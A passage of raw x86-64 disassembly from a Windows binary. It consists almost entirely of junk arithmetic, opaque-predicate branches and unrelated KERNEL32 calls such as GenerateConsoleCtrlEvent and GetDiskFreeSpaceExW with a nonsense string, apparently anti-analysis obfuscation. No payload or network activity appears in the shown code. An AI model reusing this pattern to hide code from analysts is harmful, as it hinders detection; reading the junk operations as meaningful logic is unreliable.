jmp 0x140057a35
call fcn.1401b75d0
nop
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [0x140204008], al
movsx eax, word [rsp + 0xa70]
add eax, 0x60ff
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0xbc73fb10c17a2e90
mov rcx, qword [rsp + 0x56f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x159]
shl eax, cl
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sar eax, cl
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140204008], al
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f34]
add eax, 0xf2
mov dword [rsp + 0x2f34], eax
mov eax, dword [rsp + 0x2ee4]
mov dword [rsp + 0x2f3c], eax
movabs rax, 0xbda5bbaeb8fa987
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
movsx eax, word [rsp + 0xa70]
sub eax, 0x6bed
mov word [rsp + 0x9c8], ax
movsx eax, byte [rsp + 0x15a]
movsx ecx, byte [rsp + 0x158]
add eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
or eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5710]
mov qword [rsp + 0x5748], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5748]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x157]
shl eax, cl
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0x2e58f43023d3c143
mov rcx, qword [rsp + 0x56f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [0x140204008], al
movzx eax, byte [0x140204008]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov byte [rsp + 0x15b], al
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
cmp dword [rsp + 0x2f34], 0xe308
jb 0x140057a4e
lea rax, [rsp + 0x2edc]
mov qword [rsp + 0x5750], rax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov dword [rsp + 0x2f50], eax
cmp dword [rsp + 0x2f50], 0x2ad45323
je 0x140057e43
jmp 0x140057f0e
movabs rax, 0x66d7a47cd981947e
mov rcx, qword [rsp + 0x56f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov eax, dword [rsp + 0x2f3c]
sub eax, 0x4a8b9ebf
cmp eax, dword [rsp + 0x2ee4]
je 0x140057f09
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x5758], rax
movabs rax, 0x903148169bb745b8
cmp qword [rsp + 0x5758], rax
je 0x140057ed3
movabs rax, 0xeeb0aeed4945db16
cmp qword [rsp + 0x5758], rax
je 0x140057eef
jmp 0x140057f09
mov rax, qword [rsp + 0x5750]
mov edx, dword [rax]
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rax]
call fcn.1401b86e0
nop
jmp 0x140057f09
mov rdx, qword [rsp + 0x5700]
mov ecx, 0x76
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov dword [rsp + 0x2f54], eax
jmp 0x1401b73e3
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xc9c]
sar eax, cl
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x56f8]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jge 0x140058021
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
mov dword [rsp + 0x2f58], eax
cmp dword [rsp + 0x2f58], 0x314
je 0x140057f61
jmp 0x140057f94
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
xor eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa70]
shl eax, 0xa
mov word [rsp + 0x9c8], ax
jmp 0x140058021
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov byte [rsp + 0x2f5c], al
cmp byte [rsp + 0x2f5c], 0x23
je 0x14005800a
cmp byte [rsp + 0x2f5c], 0xce
je 0x140057fbc
jmp 0x140058021
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [0x140204008]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [rsp + 0x158], al
lea rcx, [rsp + 0x5710]
call qword [sym.imp.KERNEL32.dll_GetNumberOfConsoleMouseButtons]
mov dword [rsp + 0x2f48], eax
jmp 0x140058021
mov rax, qword [rsp + 0x56e8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2edc]
call fcn.1401b86e0
nop
mov eax, dword [rsp + 0x2ee4]
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movabs rax, 0x7b8d0c2537883769
mov rcx, qword [rsp + 0x56b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x56e8]
mov ecx, dword [rsp + 0x2edc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
shl eax, cl
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2edc]
shr eax, cl
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
xor eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
movsx eax, word [rsp + 0xa70]
add eax, 0x4ea0
mov word [rsp + 0x9c8], ax
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc98], ax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2edc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f10]
add eax, 0x68
mov dword [rsp + 0x2f10], eax
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movsx eax, word [rsp + 0xa70]
sar eax, 0xe
mov word [rsp + 0x9c8], ax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x158]
shl eax, cl
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
or eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
xor eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
and eax, ecx
mov byte [0x140204008], al
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x5710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5750]
mov dword [rcx], eax
movabs rax, 0x1c9e1bb8f84c96b6
mov rcx, qword [rsp + 0x56b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15a]
and eax, ecx
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
cmp dword [rsp + 0x2f10], 0xea8c
jbe 0x14005802f
movabs rax, 0x7a023b50b72ddd54
mov rcx, qword [rsp + 0x56c0]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x56b8]
jne 0x14005850a
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x56c0]
mov qword [rsp + 0x5760], rax
movabs rax, 0x3c87fc01457c4130
cmp qword [rsp + 0x5760], rax
je 0x1400584b8
movabs rax, 0x43b0bfefadb98e2d
cmp qword [rsp + 0x5760], rax
je 0x1400584ff
jmp 0x140058505
mov eax, dword [rsp + 0x2edc]
mov rcx, qword [rsp + 0x56e8]
mov qword [rsp + 0x5768], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5768]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x5770]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rsp + 0x2f48], eax
jmp 0x140058505
call fcn.1401b7fd0
nop
jmp 0x1401b7398
lea rax, [rsp + 0x2f3c]
mov qword [rsp + 0x5778], rax
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x5780], rax
movabs rax, 0x1d56f0e064d74527
cmp qword [rsp + 0x5780], rax
je 0x14005855b
movabs rax, 0xcc87b9561b7f6b40
cmp qword [rsp + 0x5780], rax
je 0x140058658
jmp 0x140058690
mov eax, dword [rsp + 0x2f3c]
mov dword [rsp + 0x2f64], eax
cmp dword [rsp + 0x2f64], 0x14b9fd9b
je 0x14005857b
jmp 0x14005863b
movabs rax, 0x72303c24794ba5e2
mov rcx, qword [rsp + 0x56c0]
and rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x56b8]
jg 0x1400585ed
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movabs rax, 0xb821f88a7c3b18cb
mov rcx, qword [rsp + 0x56f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x5728]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
add eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
movsx eax, word [rsp + 0xa70]
add eax, 0x4310
mov word [rsp + 0x9c8], ax
mov edx, 0xb4
mov ecx, 0x3a
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
mov dword [rsp + 0x2f6c], eax
jmp 0x14005864b
lea rax, [rsp + 0x157]
mov qword [rsp + 0x5788], rax
mov dword [rsp + 0x2f70], 0x3d37
jmp 0x140058690
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x15a]
sub eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x56f0]
mov qword [rsp + 0x5798], rax
movabs rax, 0x663cf82696806695
cmp qword [rsp + 0x5798], rax
je 0x1400586c9
jmp 0x1400587a7
mov rax, qword [rsp + 0x5750]
mov ecx, dword [rsp + 0x2f68]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov dword [rsp + 0x2f74], eax
cmp dword [rsp + 0x2f74], 0x3db8923f
je 0x140058706
jmp 0x140058770
lea r9, [rsp + 0xc98]
lea r8, [rsp + 0x2f3c]
lea rdx, [rsp + 0xc98]
lea rcx, str.BacksideheadingTightnessmetatarsal
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov dword [rsp + 0x2f6c], eax
movzx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2f3c]
sar eax, cl
mov dword [rsp + 0x2f60], eax
jmp 0x1400587a2
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc98]
or eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
movsx eax, word [rsp + 0x9c8]
xor eax, 0x5115
mov word [rsp + 0xa70], ax
jmp 0x1400588b8
movzx eax, byte [rsp + 0x15b]
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x5790]
mov qword [rsp + 0x57a0], rax
movabs rax, 0x7d17803d70592ae1
cmp qword [rsp + 0x57a0], rax
je 0x1400588b2
movabs rax, 0x8ef2442fab4a812f
cmp qword [rsp + 0x57a0], rax
je 0x1400587f7
jmp 0x1400588b8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5770], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov dword [rsp + 0x2f78], eax
cmp dword [rsp + 0x2f78], 0x699a4518
je 0x140058825
jmp 0x14005889b
mov eax, dword [rsp + 0x2ee4]
mov rcx, qword [rsp + 0x5778]
mov qword [rsp + 0x57a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x57a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov ecx, 0x77
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov word [rsp + 0xc98], ax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
jmp 0x1400588b0
mov rcx, qword [rsp + 0x57b0]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x2f3c], eax
jmp 0x1400588b8
call fcn.1401b8470
nop
cmp dword [rsp + 0x2ef8], 0xc9ca
jbe 0x140058cf3
movabs rax, 0x796dd168f2e78aea
mov rcx, qword [rsp + 0x56c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
movabs rax, 0xddfa840ea6f8a986
mov rcx, qword [rsp + 0x5790]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov eax, dword [rsp + 0x2edc]
mov dword [rsp + 0x2f68], eax
mov eax, dword [rsp + 0x2f3c]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
movzx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140204008], al
movzx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movabs rax, 0x4166d69c190fdd2c
mov rcx, qword [rsp + 0x5790]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x56f0], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x56e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2f68], eax
mov rax, qword [rsp + 0x56c0]
shl rax, 0xd
mov qword [rsp + 0x56b8], rax
mov eax, dword [rsp + 0x2f3c]
movzx ecx, al
mov eax, dword [rsp + 0x2ee4]
sar eax, cl
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15b]
and eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2f3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f60]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56e8]
mov dword [rcx], eax
movabs rax, 0x1dd9569158de6980
mov rcx, qword [rsp + 0x56b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x56f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc98], ax
movsx eax, word [rsp + 0xa70]
sub eax, 0xdf4
mov word [rsp + 0x9c8], ax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
or eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sar eax, cl
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ef8]
sub eax, 0x14
mov dword [rsp + 0x2ef8], eax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2f68]
shl eax, cl
mov dword [rsp + 0x2edc], eax
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f60]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f3c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5710]
mov ecx, dword [rsp + 0x2f68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5710]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x159]
movsx ecx, byte [rsp + 0x15a]
add eax, ecx
mov byte [rsp + 0x158], al
movsx eax, word [rsp + 0xa70]
and eax, 0x77e8
mov word [rsp + 0x9c8], ax
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [0x140204008]
sub eax, ecx
mov byte [rsp + 0x15c], al
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140204008], al
movzx eax, byte [rsp + 0x157]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2f3c]
mov ecx, dword [rsp + 0x2ee4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f60], eax
mov rax, qword [rsp + 0x5778]
mov ecx, dword [rsp + 0x2f3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
jmp 0x1400588b8
mov eax, dword [rsp + 0x2ee4]
mov rcx, qword [rsp + 0x5778]
mov qword [rsp + 0x57b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x57b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2f68]
mov rcx, qword [rsp + 0x5710]
mov qword [rsp + 0x57c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x57c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc98]
xor eax, ecx
mov rcx, qword [rsp + 0x56f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x157]
or eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
mov eax, dword [rsp + 0x2ee4]
mov ecx, dword [rsp + 0x2f60]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov byte [0x140204008], al
mov rax, qword [rsp + 0x56f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5728]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
movabs rax, 0x5a9de9bd0da4a50d
mov rcx, qword [rsp + 0x56f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5790], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2edc], eax
movabs rax, 0x3c759209f6214c20
mov rcx, qword [rsp + 0x56c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x56b8], rax
mov eax, dword [rsp + 0x2f60]
mov ecx, dword [rsp + 0x2ee4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc98]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [rsp + 0x5728]
mov word [rcx], ax
mov rax, qword [rsp + 0x5788]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov eax, dword [rsp + 0x2efc]
sub eax, 0x19
mov dword [rsp + 0x2efc], eax
mov eax, dword [rsp + 0x2f3c]
mov ecx, dword [rsp + 0x2f60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
